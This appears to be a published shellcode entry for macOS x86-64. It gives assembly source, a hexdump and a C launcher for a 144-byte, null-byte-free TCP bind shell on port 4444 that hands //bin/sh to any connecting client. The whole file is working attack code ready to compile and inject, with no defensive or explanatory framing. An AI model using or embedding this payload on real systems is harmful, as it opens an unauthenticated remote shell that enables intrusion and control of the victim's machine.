;OS X x64, TCP bind shellcode (port 4444), NULL byte free, 144 bytes long
;ASM code
;compile:
;nasm -f macho64 bind-shellcode.asm 
;ld -macosx_version_min 10.7.0 -o bindsc bind-shellcode.o

BITS 64

global start

section .text

;Argument order: rdi, rsi, rdx, rcx


start:
	;socket
	xor     rdi,rdi					;zero out RSI
	mov     dil, 0x2				;AF_INET = 2
	xor     rsi,rsi					;zero out RSI
	mov     sil, 0x1				;SOCK_STREAM = 1
	xor     rdx, rdx				;protocol = IP = 0
	
	;store syscall number on RAX
	xor     rax,rax					;zero out RAX
	mov     al,2					;put 2 to AL -> RAX = 0x0000000000000002
	ror     rax, 0x28				;rotate the 2 -> RAX = 0x0000000002000000
	mov     al,0x61					;move 3b to AL (execve socket#) -> RAX = 0x0000000002000061
	mov		r12, rax				;save RAX
    syscall							;trigger syscall
    
    ;bind
    mov		r9, rax					;save socket number
    mov 	rdi, rax				;put return value to RDI int socket
    xor		rsi, rsi				;zero out RSI
    push	rsi						;push RSI to the stack
    mov		esi, 0x5c110201			;port number 4444 (=0x115c)
    sub		esi,1					;make ESI=0x5c110200
    push	rsi						;push RSI to the stack
    mov 	rsi, rsp				;store address
    mov		dl,0x10					;length of socket structure 0x10
    add		r12b, 0x7				;RAX = 0x0000000002000068 bind
    mov		rax, r12				;restore RAX
    syscall
    
    ;listen
    ;RDI already contains the socket number
    xor		rsi, rsi				;zero out RSI
	inc		rsi						;backlog = 1
    add		r12b, 0x2				;RAX = 0x000000000200006a listen
    mov		rax, r12				;restore RAX
    syscall
    
    ;accept 30	AUE_ACCEPT	ALL	{ int accept(int s, caddr_t name, socklen_t	*anamelen); } 
    ;RDI already contains the socket number
    xor		rsi, rsi				;zero out RSI
	;RDX is already zero
    sub		r12b, 0x4c				;RAX = 0x000000000200001e accept
    mov		rax, r12				;restore RAX
    syscall
    
    ;int dup2(u_int from, u_int to); 
	mov		rdi, rax
	xor		rsi, rsi
	add		r12b, 0x3c				;RAX = 0x000000000200005a dup2
    mov		rax, r12				;restore RAX
    syscall
    
    inc		rsi
    mov 	rax, r12				;restore RAX
    syscall

	xor     rsi,rsi					;zero out RSI
	push    rsi						;push NULL on stack
	mov     rdi, 0x68732f6e69622f2f	;mov //bin/sh string to RDI (reverse)
	push    rdi						;push rdi to the stack
	mov     rdi, rsp				;store RSP (points to the command string) in RDI
	xor     rdx, rdx				;zero out RDX
	
	sub		r12b, 0x1f				;RAX = 0x000000000200003b execve
    mov		rax, r12				;restore RAX
    syscall							;trigger syscall

/*
$ nasm -f bin bind-shellcode.asm 
$ hexdump bind-shellcode
0000000 48 31 ff 40 b7 02 48 31 f6 40 b6 01 48 31 d2 48
0000010 31 c0 b0 02 48 c1 c8 28 b0 61 49 89 c4 0f 05 49
0000020 89 c1 48 89 c7 48 31 f6 56 be 01 02 11 5c 83 ee
0000030 01 56 48 89 e6 b2 10 41 80 c4 07 4c 89 e0 0f 05
0000040 48 31 f6 48 ff c6 41 80 c4 02 4c 89 e0 0f 05 48
0000050 31 f6 41 80 ec 4c 4c 89 e0 0f 05 48 89 c7 48 31
0000060 f6 41 80 c4 3c 4c 89 e0 0f 05 48 ff c6 4c 89 e0
0000070 0f 05 48 31 f6 56 48 bf 2f 2f 62 69 6e 2f 73 68
0000080 57 48 89 e7 48 31 d2 41 80 ec 1f 4c 89 e0 0f 05
0000090
*/

//C code
//compile:
//gcc bind-shellcode.c -o bindsc

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
 
int (*sc)();
 
char shellcode[] =
"\x48\x31\xff\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\x48\x31\xd2\x48" \
"\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x61\x49\x89\xc4\x0f\x05\x49" \
"\x89\xc1\x48\x89\xc7\x48\x31\xf6\x56\xbe\x01\x02\x11\x5c\x83\xee" \
"\x01\x56\x48\x89\xe6\xb2\x10\x41\x80\xc4\x07\x4c\x89\xe0\x0f\x05" \
"\x48\x31\xf6\x48\xff\xc6\x41\x80\xc4\x02\x4c\x89\xe0\x0f\x05\x48" \
"\x31\xf6\x41\x80\xec\x4c\x4c\x89\xe0\x0f\x05\x48\x89\xc7\x48\x31" \
"\xf6\x41\x80\xc4\x3c\x4c\x89\xe0\x0f\x05\x48\xff\xc6\x4c\x89\xe0" \
"\x0f\x05\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" \
"\x57\x48\x89\xe7\x48\x31\xd2\x41\x80\xec\x1f\x4c\x89\xe0\x0f\x05";
 
int main(int argc, char **argv) {
 
    void *ptr = mmap(0, 0x90, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
            | MAP_PRIVATE, -1, 0);
 
    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }
 
    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;
 
    sc();
 
    return 0;
}